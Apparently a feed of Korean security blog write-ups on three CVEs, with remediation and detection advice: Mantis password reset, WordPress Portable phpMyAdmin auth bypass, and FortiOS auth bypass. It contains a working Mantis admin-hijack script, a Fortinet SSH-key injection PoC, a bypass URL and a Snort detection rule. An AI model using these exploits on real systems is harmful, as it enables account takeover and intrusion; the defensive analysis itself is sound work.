2.2 PoC

- 2.1 분석에서 확인한 것과 같이 id, confirm_hash 매개변수를 각각 1, 빈값으로 설정

- 추가적으로, 비밀번호 재설정을 위해 응답값에서 account_update_token 값을 추출

import cookielib,urllib,urllib2,time

print 'Mantis Bug Tracker >= v1.3.0 - 2.3.0'
print '1.2.x versions are not affected'
print 'Remote Password Reset 0day Exploit'
print 'Credits: John Page a.k.a HYP3RLINX / APPARITIONSEC\n'

IP=raw_input("[Mantis Victim IP]>")
realname=raw_input("[Username]")
verify_user_id=raw_input("[User ID]")
passwd=raw_input("[New Password]")

TARGET = 'http://'+IP+'/mantisbt-2.3.0/verify.php?id='+verify_user_id+'&confirm_hash='

values={}
account_update_token=''
#verify_user_id='1'          #Admin  = 1
#realname='administrator'    #Must be known or guessed.


#REQUEST 1, get Mantis account_update_token 
cookies = cookielib.CookieJar()

opener = urllib2.build_opener(
    urllib2.HTTPRedirectHandler(),
    urllib2.HTTPHandler(debuglevel=0),
    urllib2.HTTPSHandler(debuglevel=0),
    urllib2.HTTPCookieProcessor(cookies))

res = opener.open(TARGET)

arr=res.readlines()
for s in arr:
        if 'account_update_token' in s:
                break


#print s[61:-38]
ACCT_TOKEN=s[61:-38]

time.sleep(0.3)

#REQUEST 2 Hijack the Admin Account
TARGET='http://'+IP+'/mantisbt-2.3.0/account_update.php'
values = {'verify_user_id' : '1',
        'account_update_token' : ACCT_TOKEN,
        'realname' : realname,
        'password' : passwd,
        'password_confirm' : passwd}
  
data = urllib.urlencode(values)

opener = urllib2.build_opener(
urllib2.HTTPRedirectHandler(),
urllib2.HTTPHandler(debuglevel=0),
urllib2.HTTPSHandler(debuglevel=0),
urllib2.HTTPCookieProcessor(cookies))

response = opener.open(TARGET, data)
the_page = response.read()
http_headers = response.info()

#print http_headers
print response.getcode()
print 'Account Hijacked!'
time.sleep(2)

 

3. 대응방안

3.1 서버 측면

① 최신 패치 적용

- 취약한 조건문과 비교해 봤을 때, confirm_hash 값이 비어있지 않을 경우에 대한 검증이 추가됨

if( $f_confirm_hash !== $t_token_confirm_hash || null === $t_token_confirm_hash ) {
	trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR );
}

 

3.2 네트워크 측면

① 해당 취약점을 이용한 공격 시도를 탐지 가능한 정책 설정 및 적용

- /verify.php?id=1&confirm_hash=
- /account_update.php

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2017-7615
http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
- https://mantisbt.org/bugs/view.php?id=22690#c56509
https://www.exploit-db.com/exploits/41890
https://xz.aliyun.com/t/11592
https://github.com/mantisbt/mantisbt/tree/release-2.18.0
https://mantisbt.org/blog/archives/mantisbt/518
https://packetstormsecurity.com/files/159219/Mantis-Bug-Tracker-2.3.0-Remote-Code-Execution.html
https://www.openwall.com/lists/oss-security/2017/04/16/2

1. WordPress

- 세계 최대의 오픈 소스 저작물 관리 시스템

- 오픈소스를 기반으로 한 설치형 블로그 또는 CMS(Content Managment System)

- PHP로 작성되었으며, MySQL 또는 마리아DB가 주로 사용

 

2. phpMyAdmin

- MySQL과 MariaDB를 위한 관리 도구

- PHP로 개발된 포터블 웹 애플리케이션

- 데이터베이스, 테이블, 필드, 열의 작성, 수정, 삭제, 사용자 및 사용 권한 관리 등의 다양한 작업을 수행할 수 있음

 

3. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2012-5469

- 플러그인 파일 경로에 직접 접근할 경우 기존 WordPress 세션(권한 여부)을 확인하지 않아 관리자 페이지에 접근이 가능

영향받는 버전 : WordPress용 1.3.1 이전의 Portable phpMyAdmin 플러그인

 

3.1 분석

- 공격자는 GET 메소드를 이용 portable-phpmyadmin 경로로 직접 접근

[사진 2] 익스플로잇 (JSOC_INSIGHT_vol23_en.pdf 中 발췌)

 

- [사진 2]의 요청을 통해 취약한 플러그인일 경우 권한 여부를 확인하지 않아 공격자가 관리자 페이지에 접근이 가능

[사진 3] 관리자 페이지 접근 (JSOC_INSIGHT_vol23_en.pdf 中 발췌)

3.2 PoC

- 'wp-content/plugins/portable-phpmyadmin/wp-pma-mod' URL로 직접 접근

http://Dst/wp-content/plugins/portable-phpmyadmin/wp-pma-mod

 

4. 대응방안

4.1 서버측면

① Portable phpMyAdmin 1.3.1 혹은 그 이상 버전으로 업데이트 적용

 

4.2 네트워크 측면

① 탐지 정책 적용 및 차단

- PoC에서 확인되는 것처럼 플러그인 URL로 직접적인 요청 수행

- "/wp-content/plugins/portable-phpmyadmin/wp-pma-mod" 문자열을 탐지하는 정책을 적용

 

5. 참고

https://nvd.nist.gov/vuln/detail/CVE-2012-5469

https://www.exploit-db.com/exploits/23356

https://www.tenable.com/plugins/nessus/64245

https://www.tenable.com/cve/CVE-2012-5469/cpes

https://www.lac.co.jp/english/report/pdf/JSOC_INSIGHT_vol23_en.pdf

1. Fortinet

- 보안 솔루션을 개발 및 판매하는 다국적 기업

 

Fortinet: 업계 최고의 사이버 보안 업체 및 멀웨어 보안 기능

Fortinet: 업계 최고의 사이버 보안 업체 및 멀웨어 보안 기능

www.fortinet.com

 

2. CVE-2022-40684

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-40684

- 취햑한 버전의 Fortinet 제품 Fortinet FortiOS, FortiProxy, FortiSwitchManager에서 조작된 HTTP/HTTPS 요청을 통해 발생하는 인증 우회 취약점 (CVSS 9.8점)

- FortiOS : Fortigate 방화벽 및 스위치와 같은 하드웨어에서 사용되는 Fortinet의 리눅스 기반 운영 체제
- FortiProxy : 여러 가지 탐지 기술(웹 필터링, DNS 필터링, 데이터 손실 방지, 안티바이러스, 침입 방지 및 지능형 위협 보호)을 통합하여 인터넷에서 발생하는 공격으로부터 보호하는 웹 프록시
- FortiSwitchManager : FortiSwitch 템플릿과 VLAN을 중앙에서 관리하고 FortiGate 장치에 연결된 FortiSwitch 장치를 모니터링
취약 버전
① FortiOS : 7.2.0 ~ 7.2.1 및 7.0.0 ~ 7.0.6
② FortiProxy : 7.2.0 및 버전 7.0.0 ~ 7.0.6
③ FortiSwitchManager : 7.0.0 및 7.2.0
* FortiOS version 5.x, 6.x는 영향받지 않음

 

2.1 공격 원리

- 먼저 GET 요청을 통해 Fortinet 어플라이언스가 있는지 확인

[사진 2] GET 요청 예시

 

- Fortinet 어플라이언스 존재 시(취약한 서버 확인 시) PUT 요청을 통해 admin의 SSH 키를 자신의 키로 수정

- 이때, User-Agent 헤더와 Forwarded헤더를 조작

[사진 3] PUT 요청 예시

 

- 공격자의 접근을 위한 로컬 사용자 추가

 

2.2 취약점 분석

- 전달된 헤더를 구문 분석하고 for 및 by 필드를 추출하여 Apache request_rec 구조에 연결

[사진 4] 헤더 구문 분석

- vdom 소켓 옵션이 신뢰할 수 있는지 확인하는 api_check_access_for_trusted_source 함수를 사용하지만 그 다음 is_trusted_ip_and_user_agent 함수로 넘어감.

[사진 5] api_check_access

 

- client_ip가 "127.0.01"이고 User-Agent 헤더가 두 번째 매개변수와 일치하는지 확인하는 함수

- 이 함수는 "Node.js"와 "Report Runner"의 두 가지 가능한 매개변수로 호출

- "Node.js" 경로는 추가 유효성 검사를 수행하는 것처럼 보이지만 "Report Runner"를 사용하면 인증을 우회하고 API 요청을 수행할 수 있음

[사진 6] is_trusted_ip_and_user_agent

 

2.3 PoC 분석

#!/usr/bin/python3
import argparse
import json
import requests
import urllib3
requests.packages.urllib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


HEADERS = {
    'User-Agent': 'Report Runner',
    'Forwarded': 'for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"'
}

def format_key(key_file):
    with open(key_file) as f:
        k = f.read().strip()

    return(k)


def add_key(target, username, key_file):
    key = format_key(key_file)
    j = {
        "ssh-public-key1": '\"' + key + '\"'
    }
    url = f'https://{target}/api/v2/cmdb/system/admin/{username}'
    r = requests.put(url, headers=HEADERS, json=j, verify=False)
    if 'SSH key is good' not in r.text:
        print(f'[-] {target} is not vulnerable!')
    else:
        print(f'[+] SSH key for {username} added successfully!')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-u', '--username', help='The user to add an SSH key file for', required=True)
    parser.add_argument('-k', '--key-file', help='The SSH key file', required=True)
    args = parser.parse_args()

    add_key(args.target, args.username, args.key_file)

- PoC를 확인해보면 다음을 확인해 볼 수 있음

① /api/v2/cmdb/system/admin URL로 요청이 이루어짐 : Fortinet 어플라이언스 여부 확인

② is_trusted_ip_and_user_agent 함수를 우회하기 위해 헤더값 조작 : Fowarded 헤더를 사용하여 공격자는 client_ip 를 "127.0.0.1" 및 User-Agent 가 "Report Runner" 설정

 

3. 대응방안

3.1 서버측면

① 최신 업데이트 적용

- FortiOS : 7.2.2 또는 7.0.7
- FortiProxy : 7.2.1 또는 7.0.7
- FortiSwitchManager : 7.2.1

- FG6000F, 7000E/F 시리즈 플랫폼의 경우 FortiOS 버전 7.0.5 B8001로 업데이트

 

② 즉시 보안 업데이트가 어려운 제품 사용자

- HTTP/HTTPS 관리 인터페이스 비활성화

- 관리 인터페이스에 도달할 수 있는 IP 제한 등 임시 조치를 권고

- 이 후 최신 버전으로 업데이트 필요

 

3.2 네트워크 측면

① PoC를 토대로 "/api/v2/cmdb/system/admin", "User-Agent: Report Runner", "127.0.0.1" 문자열이 포함된 경우 탐지하는 패턴을 등록함

alert tcp any any -> any any (msg:"Fortinet_Auth Bypass_Detected"; content:"/api/v2/cmdb/system/admin"; content:"|20|HTTP/"; content:"|0d 0a|User-Agent|3a| Report Runner"; content:"127.0.0.1";)

 

3.3 공통

① 로그 모니터링

- 해당 취약점에 노출되었는지 확인

- 장치 로그에서 user=" Local_Process_Access", user_interface=" Node.js" 또는 user_interface=" Report Runner" 확인 

 

4. 참조

https://nvd.nist.gov/vuln/detail/CVE-2022-40684

https://www.fortiguard.com/psirt/FG-IR-22-377

https://github.com/horizon3ai/CVE-2022-40684

https://www.wordfence.com/blog/2022/10/threat-advisory-cve-2022-40684-fortinet-appliance-auth-bypass/

https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/

https://www.wordfence.com/blog/2022/10/threat-advisory-cve-2022-40684-fortinet-appliance-auth-bypass/

https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66965&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMjItNDA2ODQ= 

+ Recent posts